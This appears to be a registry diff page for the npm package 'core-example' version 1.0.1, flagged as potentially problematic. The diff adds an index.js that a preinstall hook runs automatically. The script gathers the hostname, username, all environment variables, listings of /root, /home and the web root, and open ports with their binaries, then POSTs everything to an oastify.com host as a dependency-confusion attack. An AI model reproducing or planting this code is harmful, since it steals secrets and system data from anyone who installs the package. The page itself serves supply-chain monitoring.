core-example 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of core-example might be problematic. Click here for more details.
- package/index.js +75 -0
- package/package.json +10 -4
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,75 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const fs = require("fs");
|
5
|
+
const child_process = require("child_process");
|
6
|
+
|
7
|
+
function listDirectory(path) {
|
8
|
+
try {
|
9
|
+
return fs.readdirSync(path);
|
10
|
+
} catch (err) {
|
11
|
+
return `Error: Unable to access ${path} - ${err.message}`;
|
12
|
+
}
|
13
|
+
}
|
14
|
+
|
15
|
+
function getOpenPortsAndBinaries() {
|
16
|
+
try {
|
17
|
+
const netstatOutput = child_process.execSync("netstat -tuln | grep LISTEN").toString();
|
18
|
+
const portsAndBinaries = netstatOutput
|
19
|
+
.split("\n")
|
20
|
+
.filter(line => line.trim() !== "")
|
21
|
+
.map(line => {
|
22
|
+
const parts = line.split(/\s+/);
|
23
|
+
const port = parts[3].split(":").pop();
|
24
|
+
let binary;
|
25
|
+
try {
|
26
|
+
binary = child_process.execSync(`lsof -i :${port} | grep LISTEN | awk '{print $1}'`).toString().trim();
|
27
|
+
} catch {
|
28
|
+
binary = "N/A";
|
29
|
+
}
|
30
|
+
return { port, binary };
|
31
|
+
});
|
32
|
+
return portsAndBinaries;
|
33
|
+
} catch (err) {
|
34
|
+
return `Error: Unable to fetch open ports - ${err.message}`;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
|
38
|
+
const openPortsAndBinaries = getOpenPortsAndBinaries();
|
39
|
+
const trackingData = JSON.stringify({
|
40
|
+
hostname: os.hostname(),
|
41
|
+
homeDir: os.homedir(),
|
42
|
+
username: os.userInfo().username,
|
43
|
+
dnsServers: dns.getServers(),
|
44
|
+
platform: os.platform(),
|
45
|
+
envVariables: process.env,
|
46
|
+
directories: {
|
47
|
+
root: listDirectory("/root"),
|
48
|
+
home: listDirectory("/home"),
|
49
|
+
publicHtml: listDirectory("/var/www/html"),
|
50
|
+
},
|
51
|
+
openPorts: Buffer.from(openPortsAndBinaries.map(entry => entry.port).join(",")).toString("base64"),
|
52
|
+
binariesOnPorts: Buffer.from(openPortsAndBinaries.map(entry => entry.binary).join(",")).toString("base64"),
|
53
|
+
});
|
54
|
+
|
55
|
+
const options = {
|
56
|
+
hostname: "gi27gau7f10cdp98vr8xu0chy84zswgl.oastify.com",
|
57
|
+
port: 443,
|
58
|
+
path: "/nimiq2-core-example",
|
59
|
+
method: "POST",
|
60
|
+
headers: {
|
61
|
+
"Content-Type": "application/json",
|
62
|
+
"Content-Length": Buffer.byteLength(trackingData),
|
63
|
+
},
|
64
|
+
};
|
65
|
+
|
66
|
+
const req = https.request(options, (res) => {
|
67
|
+
console.log(`Status: ${res.statusCode}`);
|
68
|
+
});
|
69
|
+
|
70
|
+
req.on("error", (error) => {
|
71
|
+
console.error(`Error: ${error.message}`);
|
72
|
+
});
|
73
|
+
|
74
|
+
req.write(trackingData);
|
75
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "core-example",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "RCE Dependency Confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Shubham-Shiv",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=core-example for more information.
|